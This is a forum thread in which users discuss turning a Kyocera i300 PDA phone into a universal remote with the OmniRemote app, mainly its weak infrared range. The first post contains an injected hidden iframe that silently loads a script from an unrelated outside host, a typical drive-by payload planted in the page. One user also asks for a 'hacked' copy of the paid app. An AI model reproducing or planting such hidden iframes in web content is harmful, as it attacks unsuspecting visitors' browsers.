    Universal remote control?

    I read in another thread that someone has an app that lets you use the i300 as a universal remote. Who makes it? Where can I get it? Gimme! Gimme! Gimme! <iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    you have to be about 3 feet away from what you are controlling.

    really not worth messing with

    They make OmniRemote. It works with the I300 but like RacerX10 said, you have to be pretty close.

    It does however freak out all of the co-workers and friends. They don't believe me until I show them. Then the jaws all drop.

    hehehehe!

    Darn, I wish I could remember the name of the one I downloaded.. from download.com I think.

    It worked from about 12ft away.

    Unfortunately, though, it had a short trial period and being the cheap college student I am I stopped using it rather than pay the small fee.

    So are there any free or hacked versions of an Omniremote out there?

    Omniremote Distance issue

    It may not be a distance issue as much as the IR Reciever Device issue. I downloaded and tested Omniremote on my I300 and curiously enuf , for my TV i had to be right next to it (1-2 feet) for it to work, but worked fine for My DVD player @ about 5 ft.

    omniremote

    I just reloaded a copy I used on an old palm m100 onto my i300, but havn't yet had time to try it, however...

    The OmniRemote website has measured send and recieve distances for different devices.. They rate the i500 at 35 ft send range and up to 4 ft recieve range. There is no info for the i300; see:

    http://www.pacificneotek.com/range.htm

    They also state that the quality of remote 'training' and carrier frequency also affect range.. they suggest retraining or trying different frequencies if your having difficulty, see:

    http://www.pacificneotek.com/faqsw.htm#7

    I had similar difficulties with range on my m100, but was able to get 6-10 ft depending on the button / device.

    good luck. in order to IR between my old visorphone and my i300, the pdas literally had to be touching and I still only got marginal utility. The visor wasn't exactly known of the strength of its IR port, but it did better than that with other PDAs, so I suspect the i300's IR port isn't very useful

    Omniremote on i300

    I had a chance to play with the omniRemote on my i300... I've come to the same conclusion as everyone else:

    The IR strength on the i300 is lousy; my old m100 wasn't great, but I cannot get the i300 to work at all, at any distance using OmniRemote. I am able to beam contacts back and forth between the two, so I assume that the IR is functional, but even with less than 1 cm between the i300 and my TV, I could not get omniRemote to function as it would on my m100!

    Anybody know if the i330 is any better; I just decided to upgrade, as most of the cell service in my area appears to be either analog or CDMA 800, and the i300 doesn't support CDMA800, and runs dead after a couple of phone calls in analog mode..
